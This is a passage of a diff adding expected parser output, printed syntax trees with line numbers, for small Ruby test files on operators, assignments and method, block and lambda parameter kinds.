+#    5|           1: [StringContent] hello
+#    5|           2: [ReservedWord] "
+#    5|     3: [ReservedWord] }
+operations/operations.rb:
+#    1| [Program] Program
+#    3|   0: [Assignment] Assignment
+#    3|     0: [Identifier] a
+#    3|     1: [ReservedWord] =
+#    3|     2: [Integer] 0
+#    4|   1: [Assignment] Assignment
+#    4|     0: [Identifier] b
+#    4|     1: [ReservedWord] =
+#    4|     2: [Integer] 0
+#    5|   2: [Assignment] Assignment
+#    5|     0: [Identifier] bar
+#    5|     1: [ReservedWord] =
+#    5|     2: [Integer] 0
+#    6|   3: [Assignment] Assignment
+#    6|     0: [Identifier] base
+#    6|     1: [ReservedWord] =
+#    6|     2: [Integer] 0
+#    7|   4: [Assignment] Assignment
+#    7|     0: [Identifier] baz
+#    7|     1: [ReservedWord] =
+#    7|     2: [Integer] 0
+#    8|   5: [Assignment] Assignment
+#    8|     0: [Identifier] foo
+#    8|     1: [ReservedWord] =
+#    8|     2: [Integer] 0
+#    9|   6: [Assignment] Assignment
+#    9|     0: [Identifier] handle
+#    9|     1: [ReservedWord] =
+#    9|     2: [Integer] 0
+#   10|   7: [Assignment] Assignment
+#   10|     0: [Identifier] m
+#   10|     1: [ReservedWord] =
+#   10|     2: [Integer] 0
+#   11|   8: [Assignment] Assignment
+#   11|     0: [Identifier] mask
+#   11|     1: [ReservedWord] =
+#   11|     2: [Integer] 0
+#   12|   9: [Assignment] Assignment
+#   12|     0: [Identifier] n
+#   12|     1: [ReservedWord] =
+#   12|     2: [Integer] 0
+#   13|   10: [Assignment] Assignment
+#   13|     0: [Identifier] name
+#   13|     1: [ReservedWord] =
+#   13|     2: [Integer] 0
+#   14|   11: [Assignment] Assignment
+#   14|     0: [Identifier] num
+#   14|     1: [ReservedWord] =
+#   14|     2: [Integer] 0
+#   15|   12: [Assignment] Assignment
+#   15|     0: [Identifier] power
+#   15|     1: [ReservedWord] =
+#   15|     2: [Integer] 0
+#   16|   13: [Assignment] Assignment
+#   16|     0: [Identifier] qux
+#   16|     1: [ReservedWord] =
+#   16|     2: [Integer] 0
+#   17|   14: [Assignment] Assignment
+#   17|     0: [Identifier] w
+#   17|     1: [ReservedWord] =
+#   17|     2: [Integer] 0
+#   18|   15: [Assignment] Assignment
+#   18|     0: [Identifier] x
+#   18|     1: [ReservedWord] =
+#   18|     2: [Integer] 0
+#   19|   16: [Assignment] Assignment
+#   19|     0: [Identifier] y
+#   19|     1: [ReservedWord] =
+#   19|     2: [Integer] 0
+#   20|   17: [Assignment] Assignment
+#   20|     0: [Identifier] z
+#   20|     1: [ReservedWord] =
+#   20|     2: [Integer] 0
+#   23|   18: [Unary] Unary
+#   23|     0: [ReservedWord] !
+#   23|     1: [Identifier] a
+#   24|   19: [Unary] Unary
+#   24|     0: [ReservedWord] not
+#   24|     1: [Identifier] b
+#   25|   20: [Unary] Unary
+#   25|     0: [ReservedWord] +
+#   25|     1: [Integer] 14
+#   26|   21: [Unary] Unary
+#   26|     0: [ReservedWord] -
+#   26|     1: [Integer] 7
+#   27|   22: [Unary] Unary
+#   27|     0: [ReservedWord] ~
+#   27|     1: [Identifier] x
+#   28|   23: [Unary] Unary
+#   28|     0: [ReservedWord] defined?
+#   28|     1: [Identifier] foo
+#   29|   24: [Method] Method
+#   29|     0: [ReservedWord] def
+#   29|     1: [Identifier] foo
+#   29|     2: [ReservedWord] ;
+#   29|     3: [Return] Return
+#   29|       0: [ReservedWord] return
+#   29|       1: [ArgumentList] ArgumentList
+#   29|         0: [Integer] 1
+#   29|         1: [ReservedWord] ,
+#   29|         2: [SplatArgument] SplatArgument
+#   29|           0: [ReservedWord] *
+#   29|           1: [Array] Array
+#   29|             0: [ReservedWord] [
+#   29|             1: [Integer] 2
+#   29|             2: [ReservedWord] ]
+#   29|         3: [ReservedWord] ,
+#   29|         4: [Pair] Pair
+#   29|           0: [HashKeySymbol] a
+#   29|           1: [ReservedWord] :
+#   29|           2: [Integer] 3
+#   29|         5: [ReservedWord] ,
+#   29|         6: [HashSplatArgument] HashSplatArgument
+#   29|           0: [ReservedWord] **
+#   29|           1: [Hash] Hash
+#   29|             0: [ReservedWord] {
+#   29|             1: [Pair] Pair
+#   29|               0: [HashKeySymbol] b
+#   29|               1: [ReservedWord] :
+#   29|               2: [Integer] 4
+#   29|             2: [ReservedWord] ,
+#   29|             3: [Pair] Pair
+#   29|               0: [HashKeySymbol] c
+#   29|               1: [ReservedWord] :
+#   29|               2: [Integer] 5
+#   29|             4: [ReservedWord] }
+#   29|     4: [ReservedWord] end
+#   32|   25: [Binary] Binary
+#   32|     0: [Identifier] w
+#   32|     1: [ReservedWord] +
+#   32|     2: [Integer] 234
+#   33|   26: [Binary] Binary
+#   33|     0: [Identifier] x
+#   33|     1: [ReservedWord] -
+#   33|     2: [Integer] 17
+#   34|   27: [Binary] Binary
+#   34|     0: [Identifier] y
+#   34|     1: [ReservedWord] *
+#   34|     2: [Integer] 10
+#   35|   28: [Binary] Binary
+#   35|     0: [Identifier] z
+#   35|     1: [ReservedWord] /
+#   35|     2: [Integer] 2
+#   36|   29: [Binary] Binary
+#   36|     0: [Identifier] num
+#   36|     1: [ReservedWord] %
+#   36|     2: [Integer] 2
+#   37|   30: [Binary] Binary
+#   37|     0: [Identifier] base
+#   37|     1: [ReservedWord] **
+#   37|     2: [Identifier] power
+#   40|   31: [Binary] Binary
+#   40|     0: [Identifier] foo
+#   40|     1: [ReservedWord] &&
+#   40|     2: [Identifier] bar
+#   41|   32: [Binary] Binary
+#   41|     0: [Identifier] baz
+#   41|     1: [ReservedWord] and
+#   41|     2: [Identifier] qux
+#   42|   33: [Binary] Binary
+#   42|     0: [Identifier] a
+#   42|     1: [ReservedWord] or
+#   42|     2: [Identifier] b
+#   43|   34: [Binary] Binary
+#   43|     0: [Identifier] x
+#   43|     1: [ReservedWord] ||
+#   43|     2: [Identifier] y
+#   46|   35: [Binary] Binary
+#   46|     0: [Identifier] x
+#   46|     1: [ReservedWord] <<
+#   46|     2: [Integer] 3
+#   47|   36: [Binary] Binary
+#   47|     0: [Identifier] y
+#   47|     1: [ReservedWord] >>
+#   47|     2: [Integer] 16
+#   48|   37: [Binary] Binary
+#   48|     0: [Identifier] foo
+#   48|     1: [ReservedWord] &
+#   48|     2: [Integer] 0xff
+#   49|   38: [Binary] Binary
+#   49|     0: [Identifier] bar
+#   49|     1: [ReservedWord] |
+#   49|     2: [Integer] 0x02
+#   50|   39: [Binary] Binary
+#   50|     0: [Identifier] baz
+#   50|     1: [ReservedWord] ^
+#   50|     2: [Identifier] qux
+#   53|   40: [Binary] Binary
+#   53|     0: [Identifier] x
+#   53|     1: [ReservedWord] ==
+#   53|     2: [Identifier] y
+#   54|   41: [Binary] Binary
+#   54|     0: [Identifier] a
+#   54|     1: [ReservedWord] !=
+#   54|     2: [Integer] 123
+#   55|   42: [Binary] Binary
+#   55|     0: [Identifier] m
+#   55|     1: [ReservedWord] ===
+#   55|     2: [Identifier] n
+#   58|   43: [Binary] Binary
+#   58|     0: [Identifier] x
+#   58|     1: [ReservedWord] >
+#   58|     2: [Integer] 0
+#   59|   44: [Binary] Binary
+#   59|     0: [Identifier] y
+#   59|     1: [ReservedWord] >=
+#   59|     2: [Integer] 100
+#   60|   45: [Binary] Binary
+#   60|     0: [Identifier] a
+#   60|     1: [ReservedWord] <
+#   60|     2: [Identifier] b
+#   61|   46: [Binary] Binary
+#   61|     0: [Integer] 7
+#   61|     1: [ReservedWord] <=
+#   61|     2: [Identifier] foo
+#   64|   47: [Binary] Binary
+#   64|     0: [Identifier] a
+#   64|     1: [ReservedWord] <=>
+#   64|     2: [Identifier] b
+#   65|   48: [Binary] Binary
+#   65|     0: [Identifier] name
+#   65|     1: [ReservedWord] =~
+#   65|     2: [Regex] Regex
+#   65|       0: [ReservedWord] /
+#   65|       1: [StringContent] foo.*
+#   65|       2: [ReservedWord] /
+#   66|   49: [Binary] Binary
+#   66|     0: [Identifier] handle
+#   66|     1: [ReservedWord] !~
+#   66|     2: [Regex] Regex
+#   66|       0: [ReservedWord] /
+#   66|       1: [StringContent] .*bar
+#   66|       2: [ReservedWord] /
+#   69|   50: [OperatorAssignment] OperatorAssignment
+#   69|     0: [Identifier] x
+#   69|     1: [ReservedWord] +=
+#   69|     2: [Integer] 128
+#   70|   51: [OperatorAssignment] OperatorAssignment
+#   70|     0: [Identifier] y
+#   70|     1: [ReservedWord] -=
+#   70|     2: [Integer] 32
+#   71|   52: [OperatorAssignment] OperatorAssignment
+#   71|     0: [Identifier] a
+#   71|     1: [ReservedWord] *=
+#   71|     2: [Integer] 12
+#   72|   53: [OperatorAssignment] OperatorAssignment
+#   72|     0: [Identifier] b
+#   72|     1: [ReservedWord] /=
+#   72|     2: [Integer] 4
+#   73|   54: [OperatorAssignment] OperatorAssignment
+#   73|     0: [Identifier] z
+#   73|     1: [ReservedWord] %=
+#   73|     2: [Integer] 2
+#   74|   55: [OperatorAssignment] OperatorAssignment
+#   74|     0: [Identifier] foo
+#   74|     1: [ReservedWord] **=
+#   74|     2: [Identifier] bar
+#   77|   56: [OperatorAssignment] OperatorAssignment
+#   77|     0: [Identifier] x
+#   77|     1: [ReservedWord] &&=
+#   77|     2: [Identifier] y
+#   78|   57: [OperatorAssignment] OperatorAssignment
+#   78|     0: [Identifier] a
+#   78|     1: [ReservedWord] ||=
+#   78|     2: [Identifier] b
+#   81|   58: [OperatorAssignment] OperatorAssignment
+#   81|     0: [Identifier] x
+#   81|     1: [ReservedWord] <<=
+#   81|     2: [Integer] 2
+#   82|   59: [OperatorAssignment] OperatorAssignment
+#   82|     0: [Identifier] y
+#   82|     1: [ReservedWord] >>=
+#   82|     2: [Integer] 3
+#   83|   60: [OperatorAssignment] OperatorAssignment
+#   83|     0: [Identifier] foo
+#   83|     1: [ReservedWord] &=
+#   83|     2: [Identifier] mask
+#   84|   61: [OperatorAssignment] OperatorAssignment
+#   84|     0: [Identifier] bar
+#   84|     1: [ReservedWord] |=
+#   84|     2: [Integer] 0x01
+#   85|   62: [OperatorAssignment] OperatorAssignment
+#   85|     0: [Identifier] baz
+#   85|     1: [ReservedWord] ^=
+#   85|     2: [Identifier] qux
+#   87|   63: [Class] Class
+#   87|     0: [ReservedWord] class
+#   87|     1: [Constant] X
+#   88|     2: [Assignment] Assignment
+#   88|       0: [InstanceVariable] @x
+#   88|       1: [ReservedWord] =
+#   88|       2: [Integer] 1
+#   89|     3: [OperatorAssignment] OperatorAssignment
+#   89|       0: [InstanceVariable] @x
+#   89|       1: [ReservedWord] +=
+#   89|       2: [Integer] 2
+#   91|     4: [Assignment] Assignment
+#   91|       0: [ClassVariable] @@y
+#   91|       1: [ReservedWord] =
+#   91|       2: [Integer] 3
+#   92|     5: [OperatorAssignment] OperatorAssignment
+#   92|       0: [ClassVariable] @@y
+#   92|       1: [ReservedWord] /=
+#   92|       2: [Integer] 4
+#   93|     6: [ReservedWord] end
+#   95|   64: [Assignment] Assignment
+#   95|     0: [GlobalVariable] $global_var
+#   95|     1: [ReservedWord] =
+#   95|     2: [Integer] 5
+#   96|   65: [OperatorAssignment] OperatorAssignment
+#   96|     0: [GlobalVariable] $global_var
+#   96|     1: [ReservedWord] *=
+#   96|     2: [Integer] 6
+#    1| [Comment] # Start with assignments to all the identifiers used below, so that they are
+#    2| [Comment] # interpreted as variables.
+#   22| [Comment] # Unary operations
+#   31| [Comment] # Binary arithmetic operations
+#   39| [Comment] # Binary logical operations
+#   45| [Comment] # Binary bitwise operations
+#   52| [Comment] # Equality operations
+#   57| [Comment] # Relational operations
+#   63| [Comment] # Misc binary operations
+#   68| [Comment] # Arithmetic assign operations
+#   76| [Comment] # Logical assign operations
+#   80| [Comment] # Bitwise assign operations
+params/params.rb:
+#    1| [Program] Program
+#    4|   0: [Method] Method
+#    4|     0: [ReservedWord] def
+#    4|     1: [Identifier] identifier_method_params
+#    4|     2: [MethodParameters] MethodParameters
+#    4|       0: [ReservedWord] (
+#    4|       1: [Identifier] foo
+#    4|       2: [ReservedWord] ,
+#    4|       3: [Identifier] bar
+#    4|       4: [ReservedWord] ,
+#    4|       5: [Identifier] baz
+#    4|       6: [ReservedWord] )
+#    5|     3: [ReservedWord] end
+#    8|   1: [Assignment] Assignment
+#    8|     0: [Identifier] hash
+#    8|     1: [ReservedWord] =
+#    8|     2: [Hash] Hash
+#    8|       0: [ReservedWord] {
+#    8|       1: [ReservedWord] }
+#    9|   2: [Call] Call
+#    9|     0: [Identifier] hash
+#    9|     1: [ReservedWord] .
+#    9|     2: [Identifier] each
+#    9|     3: [DoBlock] DoBlock
+#    9|       0: [ReservedWord] do
+#    9|       1: [BlockParameters] BlockParameters
+#    9|         0: [ReservedWord] |
+#    9|         1: [Identifier] key
+#    9|         2: [ReservedWord] ,
+#    9|         3: [Identifier] value
+#    9|         4: [ReservedWord] |
+#   10|       2: [Call] Call
+#   10|         0: [Identifier] puts
+#   10|         1: [ArgumentList] ArgumentList
+#   10|           0: [String] String
+#   10|             0: [ReservedWord] "
+#   10|             1: [Interpolation] Interpolation
+#   10|               0: [ReservedWord] #{
+#   10|               1: [Identifier] key
+#   10|               2: [ReservedWord] }
+#   10|             2: [StringContent]  -> 
+#   10|             3: [Interpolation] Interpolation
+#   10|               0: [ReservedWord] #{
+#   10|               1: [Identifier] value
+#   10|               2: [ReservedWord] }
+#   10|             4: [ReservedWord] "
+#   11|       3: [ReservedWord] end
+#   14|   3: [Assignment] Assignment
+#   14|     0: [Identifier] sum
+#   14|     1: [ReservedWord] =
+#   14|     2: [Lambda] Lambda
+#   14|       0: [ReservedWord] ->
+#   14|       1: [LambdaParameters] LambdaParameters
+#   14|         0: [ReservedWord] (
+#   14|         1: [Identifier] foo
+#   14|         2: [ReservedWord] ,
+#   14|         3: [Identifier] bar
+#   14|         4: [ReservedWord] )
+#   14|       2: [Block] Block
+#   14|         0: [ReservedWord] {
+#   14|         1: [Binary] Binary
+#   14|           0: [Identifier] foo
+#   14|           1: [ReservedWord] +
+#   14|           2: [Identifier] bar
+#   14|         2: [ReservedWord] }
+#   17|   4: [Method] Method
+#   17|     0: [ReservedWord] def
+#   17|     1: [Identifier] destructured_method_param
+#   17|     2: [MethodParameters] MethodParameters
+#   17|       0: [ReservedWord] (
+#   17|       1: [DestructuredParameter] DestructuredParameter
+#   17|         0: [ReservedWord] (
+#   17|         1: [Identifier] a
+#   17|         2: [ReservedWord] ,
+#   17|         3: [Identifier] b
+#   17|         4: [ReservedWord] ,
+#   17|         5: [Identifier] c
+#   17|         6: [ReservedWord] )
+#   17|       2: [ReservedWord] )
+#   18|     3: [ReservedWord] end
+#   21|   5: [Assignment] Assignment
+#   21|     0: [Identifier] array
+#   21|     1: [ReservedWord] =
+#   21|     2: [Array] Array
+#   21|       0: [ReservedWord] [
+#   21|       1: [ReservedWord] ]
+#   22|   6: [Call] Call
+#   22|     0: [Identifier] array
+#   22|     1: [ReservedWord] .
+#   22|     2: [Identifier] each
+#   22|     3: [Block] Block
+#   22|       0: [ReservedWord] {
+#   22|       1: [BlockParameters] BlockParameters
+#   22|         0: [ReservedWord] |
+#   22|         1: [DestructuredParameter] DestructuredParameter
+#   22|           0: [ReservedWord] (
+#   22|           1: [Identifier] a
+#   22|           2: [ReservedWord] ,
+#   22|           3: [Identifier] b
+#   22|           4: [ReservedWord] )
+#   22|         2: [ReservedWord] |
+#   22|       2: [Call] Call
+#   22|         0: [Identifier] puts
+#   22|         1: [ArgumentList] ArgumentList
+#   22|           0: [Binary] Binary
+#   22|             0: [Identifier] a
+#   22|             1: [ReservedWord] +
+#   22|             2: [Identifier] b
+#   22|       3: [ReservedWord] }
+#   25|   7: [Assignment] Assignment
+#   25|     0: [Identifier] sum_four_values
+#   25|     1: [ReservedWord] =
+#   25|     2: [Lambda] Lambda
+#   25|       0: [ReservedWord] ->
+#   25|       1: [LambdaParameters] LambdaParameters
+#   25|         0: [ReservedWord] (
+#   25|         1: [DestructuredParameter] DestructuredParameter
+#   25|           0: [ReservedWord] (
+#   25|           1: [Identifier] first
+#   25|           2: [ReservedWord] ,
+#   25|           3: [Identifier] second
+#   25|           4: [ReservedWord] )
+#   25|         2: [ReservedWord] ,
+#   25|         3: [DestructuredParameter] DestructuredParameter
+#   25|           0: [ReservedWord] (
+#   25|           1: [Identifier] third
+#   25|           2: [ReservedWord] ,
+#   25|           3: [Identifier] fourth
+#   25|           4: [ReservedWord] )
+#   25|         4: [ReservedWord] )
+#   25|       2: [Block] Block
+#   25|         0: [ReservedWord] {
+#   26|         1: [Binary] Binary
+#   26|           0: [Binary] Binary
+#   26|             0: [Binary] Binary
+#   26|               0: [Identifier] first
+#   26|               1: [ReservedWord] +
+#   26|               2: [Identifier] second
+#   26|             1: [ReservedWord] +
+#   26|             2: [Identifier] third
+#   26|           1: [ReservedWord] +
+#   26|           2: [Identifier] fourth
+#   27|         2: [ReservedWord] }
+#   30|   8: [Method] Method
+#   30|     0: [ReservedWord] def
+#   30|     1: [Identifier] method_with_splat
+#   30|     2: [MethodParameters] MethodParameters
+#   30|       0: [ReservedWord] (
+#   30|       1: [Identifier] wibble
+#   30|       2: [ReservedWord] ,
+#   30|       3: [SplatParameter] SplatParameter
+#   30|         0: [ReservedWord] *
+#   30|         1: [Identifier] splat
+#   30|       4: [ReservedWord] ,
+#   30|       5: [HashSplatParameter] HashSplatParameter
+#   30|         0: [ReservedWord] **
+#   30|         1: [Identifier] double_splat
+#   30|       6: [ReservedWord] )
+#   31|     3: [ReservedWord] end
+#   34|   9: [Call] Call
+#   34|     0: [Identifier] array
+#   34|     1: [ReservedWord] .
+#   34|     2: [Identifier] each
+#   34|     3: [DoBlock] DoBlock
+#   34|       0: [ReservedWord] do
+#   34|       1: [BlockParameters] BlockParameters
+#   34|         0: [ReservedWord] |
+#   34|         1: [Identifier] val
+#   34|         2: [ReservedWord] ,
+#   34|         3: [SplatParameter] SplatParameter
+#   34|           0: [ReservedWord] *
+#   34|           1: [Identifier] splat
+#   34|         4: [ReservedWord] ,
+#   34|         5: [HashSplatParameter] HashSplatParameter
+#   34|           0: [ReservedWord] **
+#   34|           1: [Identifier] double_splat
+#   34|         6: [ReservedWord] |
+#   35|       2: [ReservedWord] end
+#   38|   10: [Assignment] Assignment
+#   38|     0: [Identifier] lambda_with_splats
+#   38|     1: [ReservedWord] =
+#   38|     2: [Lambda] Lambda
+#   38|       0: [ReservedWord] ->
+#   38|       1: [LambdaParameters] LambdaParameters
+#   38|         0: [ReservedWord] (
+#   38|         1: [Identifier] x
+#   38|         2: [ReservedWord] ,
+#   38|         3: [SplatParameter] SplatParameter
+#   38|           0: [ReservedWord] *
+#   38|           1: [Identifier] blah
+#   38|         4: [ReservedWord] ,
+#   38|         5: [HashSplatParameter] HashSplatParameter
+#   38|           0: [ReservedWord] **
+#   38|           1: [Identifier] wibble
+#   38|         6: [ReservedWord] )
+#   38|       2: [Block] Block
+#   38|         0: [ReservedWord] {
+#   38|         1: [ReservedWord] }
+#   41|   11: [Method] Method
+#   41|     0: [ReservedWord] def
+#   41|     1: [Identifier] method_with_keyword_params
+#   41|     2: [MethodParameters] MethodParameters
+#   41|       0: [ReservedWord] (
+#   41|       1: [Identifier] x
+#   41|       2: [ReservedWord] ,
+#   41|       3: [KeywordParameter] KeywordParameter
+#   41|         0: [Identifier] foo
+#   41|         1: [ReservedWord] :
+#   41|       4: [ReservedWord] ,
+#   41|       5: [KeywordParameter] KeywordParameter
+#   41|         0: [Identifier] bar
+#   41|         1: [ReservedWord] :
+#   41|         2: [Integer] 7
+#   41|       6: [ReservedWord] )
+#   42|     3: [Binary] Binary
+#   42|       0: [Binary] Binary
+#   42|         0: [Identifier] x
+#   42|         1: [ReservedWord] +
+#   42|         2: [Identifier] foo
+#   42|       1: [ReservedWord] +
+#   42|       2: [Identifier] bar
+#   43|     4: [ReservedWord] end
+#   46|   12: [Method] Method
+#   46|     0: [ReservedWord] def
+#   46|     1: [Identifier] use_block_with_keyword
+#   46|     2: [MethodParameters] MethodParameters
+#   46|       0: [ReservedWord] (
+#   46|       1: [BlockParameter] BlockParameter
+#   46|         0: [ReservedWord] &
+#   46|         1: [Identifier] block
+#   46|       2: [ReservedWord] )
+#   47|     3: [Call] Call
+#   47|       0: [Identifier] puts
+#   47|       1: [ArgumentList] ArgumentList
+#   47|         0: [ReservedWord] (
+#   47|         1: [Call] Call
+#   47|           0: [Identifier] block
+#   47|           1: [ReservedWord] .
+#   47|           2: [Identifier] call
+#   47|           3: [ArgumentList] ArgumentList
+#   47|             0: [Pair] Pair
+#   47|               0: [HashKeySymbol] bar
+#   47|               1: [ReservedWord] :
+#   47|               2: [Integer] 2
+#   47|             1: [ReservedWord] ,
+#   47|             2: [Pair] Pair
+#   47|               0: [HashKeySymbol] foo
+#   47|               1: [ReservedWord] :
+#   47|               2: [Integer] 3
+#   47|         2: [ReservedWord] )
+#   48|     4: [ReservedWord] end
+#   49|   13: [Call] Call
+#   49|     0: [Identifier] use_block_with_keyword
+#   49|     1: [DoBlock] DoBlock
+#   49|       0: [ReservedWord] do
+#   49|       1: [BlockParameters] BlockParameters
+#   49|         0: [ReservedWord] |
+#   49|         1: [KeywordParameter] KeywordParameter
+#   49|           0: [Identifier] xx
+#   49|           1: [ReservedWord] :
+#   49|         2: [ReservedWord] ,
+#   49|         3: [KeywordParameter] KeywordParameter
+#   49|           0: [Identifier] yy
+#   49|           1: [ReservedWord] :
+#   49|           2: [Integer] 100
+#   49|         4: [ReservedWord] |
+#   50|       2: [Binary] Binary
+#   50|         0: [Identifier] xx
+#   50|         1: [ReservedWord] +
+#   50|         2: [Identifier] yy
+#   51|       3: [ReservedWord] end
+#   53|   14: [Assignment] Assignment
+#   53|     0: [Identifier] lambda_with_keyword_params
+#   53|     1: [ReservedWord] =
+#   53|     2: [Lambda] Lambda
+#   53|       0: [ReservedWord] ->
+#   53|       1: [LambdaParameters] LambdaParameters
+#   53|         0: [ReservedWord] (
+#   53|         1: [Identifier] x
+#   53|         2: [ReservedWord] ,
+#   53|         3: [KeywordParameter] KeywordParameter
+#   53|           0: [Identifier] y
+#   53|           1: [ReservedWord] :
+#   53|         4: [ReservedWord] ,
+#   53|         5: [KeywordParameter] KeywordParameter
+#   53|           0: [Identifier] z
+#   53|           1: [ReservedWord] :
+#   53|           2: [Integer] 3
+#   53|         6: [ReservedWord] )
+#   53|       2: [Block] Block
+#   53|         0: [ReservedWord] {
+#   54|         1: [Binary] Binary
+#   54|           0: [Binary] Binary
+#   54|             0: [Identifier] x
+#   54|             1: [ReservedWord] +
+#   54|             2: [Identifier] y
+#   54|           1: [ReservedWord] +
+#   54|           2: [Identifier] z
+#   55|         2: [ReservedWord] }
+#   58|   15: [Method] Method
+#   58|     0: [ReservedWord] def
+#   58|     1: [Identifier] method_with_optional_params
+#   58|     2: [MethodParameters] MethodParameters
+#   58|       0: [ReservedWord] (
+#   58|       1: [Identifier] val1
+#   58|       2: [ReservedWord] ,
+#   58|       3: [OptionalParameter] OptionalParameter
+#   58|         0: [Identifier] val2
+#   58|         1: [ReservedWord] =
+#   58|         2: [Integer] 0
+#   58|       4: [ReservedWord] ,
+#   58|       5: [OptionalParameter] OptionalParameter
+#   58|         0: [Identifier] val3
+#   58|         1: [ReservedWord] =
+#   58|         2: [Integer] 100
+#   58|       6: [ReservedWord] )
+#   59|     3: [ReservedWord] end
+#   62|   16: [Method] Method
+#   62|     0: [ReservedWord] def
+#   62|     1: [Identifier] use_block_with_optional
+#   62|     2: [MethodParameters] MethodParameters
+#   62|       0: [ReservedWord] (
+#   62|       1: [BlockParameter] BlockParameter
+#   62|         0: [ReservedWord] &
+#   62|         1: [Identifier] block
+#   62|       2: [ReservedWord] )
+#   63|     3: [Call] Call
+#   63|       0: [Identifier] block
+#   63|       1: [ReservedWord] .
+#   63|       2: [Identifier] call
+#   63|       3: [ArgumentList] ArgumentList
+#   63|         0: [String] String
+#   63|           0: [ReservedWord] '
+#   63|           1: [StringContent] Zeus
+#   63|           2: [ReservedWord] '
+#   64|     4: [ReservedWord] end
+#   65|   17: [Call] Call
+#   65|     0: [Identifier] use_block_with_optional
+#   65|     1: [DoBlock] DoBlock
+#   65|       0: [ReservedWord] do
+#   65|       1: [BlockParameters] BlockParameters
+#   65|         0: [ReservedWord] |
+#   65|         1: [Identifier] name
+#   65|         2: [ReservedWord] ,
+#   65|         3: [OptionalParameter] OptionalParameter
+#   65|           0: [Identifier] age
+#   65|           1: [ReservedWord] =
+#   65|           2: [Integer] 99
+#   65|         4: [ReservedWord] |
+#   66|       2: [Call] Call
+#   66|         0: [Identifier] puts
+#   66|         1: [ArgumentList] ArgumentList
+#   66|           0: [String] String
+#   66|             0: [ReservedWord] "
+#   66|             1: [Interpolation] Interpolation
+#   66|               0: [ReservedWord] #{
+#   66|               1: [Identifier] name
+#   66|               2: [ReservedWord] }
+#   66|             2: [StringContent]  is 
+#   66|             3: [Interpolation] Interpolation
+#   66|               0: [ReservedWord] #{
+#   66|               1: [Identifier] age
+#   66|               2: [ReservedWord] }
+#   66|             4: [StringContent]  years old
+#   66|             5: [ReservedWord] "
+#   67|       3: [ReservedWord] end
+#   70|   18: [Assignment] Assignment
+#   70|     0: [Identifier] lambda_with_optional_params
+#   70|     1: [ReservedWord] =
+#   70|     2: [Lambda] Lambda
+#   70|       0: [ReservedWord] ->
+#   70|       1: [LambdaParameters] LambdaParameters
+#   70|         0: [ReservedWord] (
+#   70|         1: [Identifier] a
+#   70|         2: [ReservedWord] ,
+#   70|         3: [OptionalParameter] OptionalParameter
+#   70|           0: [Identifier] b
+#   70|           1: [ReservedWord] =
+#   70|           2: [Integer] 1000
+#   70|         4: [ReservedWord] ,
+#   70|         5: [OptionalParameter] OptionalParameter
+#   70|           0: [Identifier] c
+#   70|           1: [ReservedWord] =
+#   70|           2: [Integer] 20
+#   70|         6: [ReservedWord] )
+#   70|       2: [Block] Block
+#   70|         0: [ReservedWord] {
+#   70|         1: [Binary] Binary
+#   70|           0: [Binary] Binary
+#   70|             0: [Identifier] a
+#   70|             1: [ReservedWord] +
+#   70|             2: [Identifier] b
+#   70|           1: [ReservedWord] +
+#   70|           2: [Identifier] c
+#   70|         2: [ReservedWord] }
+#   73|   19: [Method] Method
+#   73|     0: [ReservedWord] def
+#   73|     1: [Identifier] method_with_nil_splat
+#   73|     2: [MethodParameters] MethodParameters
+#   73|       0: [ReservedWord] (
+#   73|       1: [Identifier] wibble
+#   73|       2: [ReservedWord] ,
+#   73|       3: [HashSplatNil] **nil
+#   73|         0: [ReservedWord] **
+#   73|         1: [ReservedWord] nil
+#   73|       4: [ReservedWord] )
+#   74|     3: [ReservedWord] end
+#   77|   20: [Call] Call
+#   77|     0: [Identifier] array
+#   77|     1: [ReservedWord] .
+#   77|     2: [Identifier] each
+#   77|     3: [DoBlock] DoBlock
+#   77|       0: [ReservedWord] do
+#   77|       1: [BlockParameters] BlockParameters
+#   77|         0: [ReservedWord] |
+#   77|         1: [Identifier] val
+#   77|         2: [ReservedWord] ,
+#   77|         3: [HashSplatNil] **nil
+#   77|           0: [ReservedWord] **
+#   77|           1: [ReservedWord] nil
+#   77|         4: [ReservedWord] |
+#   78|       2: [ReservedWord] end
+#   81|   21: [Method] Method
+#   81|     0: [ReservedWord] def
+#   81|     1: [Identifier] anonymous_block_parameter
+#   81|     2: [MethodParameters] MethodParameters
+#   81|       0: [ReservedWord] (
+#   81|       1: [Identifier] array
+#   81|       2: [ReservedWord] ,
+#   81|       3: [BlockParameter] BlockParameter
+#   81|         0: [ReservedWord] &
+#   81|       4: [ReservedWord] )
+#   82|     3: [Call] Call
+#   82|       0: [Identifier] proc
+#   82|       1: [ArgumentList] ArgumentList
+#   82|         0: [ReservedWord] (
+#   82|         1: [BlockArgument] BlockArgument
+#   82|           0: [ReservedWord] &
+#   82|         2: [ReservedWord] )
+#   83|     4: [Call] Call
+#   83|       0: [Identifier] array
+#   83|       1: [ReservedWord] .
+#   83|       2: [Identifier] each
+#   83|       3: [ArgumentList] ArgumentList
+#   83|         0: [ReservedWord] (
+#   83|         1: [BlockArgument] BlockArgument
+#   83|           0: [ReservedWord] &
+#   83|         2: [ReservedWord] )
+#   84|     5: [ReservedWord] end
+#   86|   22: [Call] Call
+#   86|     0: [Identifier] run_block
+#   86|     1: [Block] Block
+#   86|       0: [ReservedWord] {
+#   86|       1: [BlockParameters] BlockParameters
+#   86|         0: [ReservedWord] |
+#   86|         1: [Identifier] x
+#   86|         2: [ReservedWord] ;
+#   86|         3: [Identifier] y
+#   86|         4: [ReservedWord] ,
+#   86|         5: [Identifier] z
+#   86|         6: [ReservedWord] |
+#   86|       2: [Call] Call
+#   86|         0: [Identifier] puts
+#   86|         1: [ArgumentList] ArgumentList
+#   86|           0: [Identifier] x
+#   86|       3: [ReservedWord] }
+#    1| [Comment] # Tests for the different kinds and contexts of parameters.
+#    3| [Comment] # Method containing identifier parameters
+#    7| [Comment] # Block containing identifier parameters
+#   13| [Comment] # Lambda containing identifier parameters
+#   16| [Comment] # Method containing destructured parameters
+#   20| [Comment] # Block containing destructured parameters
+#   24| [Comment] # Lambda containing destructured parameters
+#   29| [Comment] # Method containing splat and hash-splat params
+#   33| [Comment] # Block with splat and hash-splat parameter
+#   37| [Comment] # Lambda with splat and hash-splat
+#   40| [Comment] # Method containing keyword parameters
+#   45| [Comment] # Block with keyword parameters
+#   57| [Comment] # Method containing optional parameters
+#   61| [Comment] # Block containing optional parameter
+#   69| [Comment] # Lambda containing optional parameters
+#   72| [Comment] # Method containing nil hash-splat params
+#   76| [Comment] # Block with nil hash-splat parameter
+#   80| [Comment] # Anonymous block parameter
